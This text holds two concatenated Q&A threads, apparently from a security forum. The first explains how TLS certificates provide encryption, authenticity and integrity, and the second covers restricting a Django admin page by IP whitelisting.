When a client connects to the server by https, the server sends the certificate.  The client checks that the certificate is signed by a CA that the client trusts, and if so, the client proceeds with TLS, using the server's public key contained in the certificate.  Importantly, in order for the TLS connection to succeed, the server must have the private key that corresponds with the public key in the certificate.

From my understanding, the only use for the X509 certificate is to verify that a message from client to server can be verified by the server to have come from the client through a digital signature, and there is no encryption that is performed on the message content aside from that required for signing.

No.  SSL/TLS provides the three fundamentals needed for any encryption system: secrecy, authenticity, and integrity.  Messages sent between the client and the server are encrypted, so that someone monitoring the traffic between the client and the server only sees ciphertext and not plaintext messages (secrecy).  In addition, SSL/TLS provides a way for one party to ensure that a message indeed came from the other party (authenticity), and that the message was not altered along the way by an attacker (integrity).

For instance, if the client is consuming SOAP web services on the server, then the private key on the client is used to add a digital signature to the request headers which can then be verified on the server, after which point the request is fulfilled.

I think you might be thinking of client certificates here.  Client certificates can be used to authenticate a client with a server.  See Using client certificate to authenticate an app for more info.


How to hide or secure django admin page? I am working on an E-commerce website which is mainly in Django.

I have this admin page. I want to hide, protect, secure it from other users/visitors means that only a set of IP address can view that and login with their credentials. is it possible?
I have heard about IP whitelisting but IP's can be faked and also someone suggested that just don't publish it. if I choose not to publish make the desktop app for admin then how this work. Please explain.

I have heard about IP whitelisting but IP's can be faked

In the real world, it's impossible: there's no way to establish a 2-way communication over faked IP. It's like writing a letter to someone, fake your own address, and expect to hear anything back. The person will receive the letter, and answer to the address you faked, not to you. IP spoofing works exactly the same.

The downside of the whitelist is that you must have a static IP. If your IP changes, you are locked out.

This answer on StackOverflow shows you how you whitelist direct on Django. the idea is to create a Middleware or a Decorator to take care of the whitelist for you. If you are hosting Django behind a reverse proxy (HAproxy, Nginx, Apache, et al), you can use the reverse proxy configuration files for that.

  and also someone suggested that just don't publish it.

You have to publish, or you won't have the admin page. You may choose to keep the admin page unpublished until you need to access the admin page, and them you publish it, do the job you need, and unpublish again. Cumbersome, but works.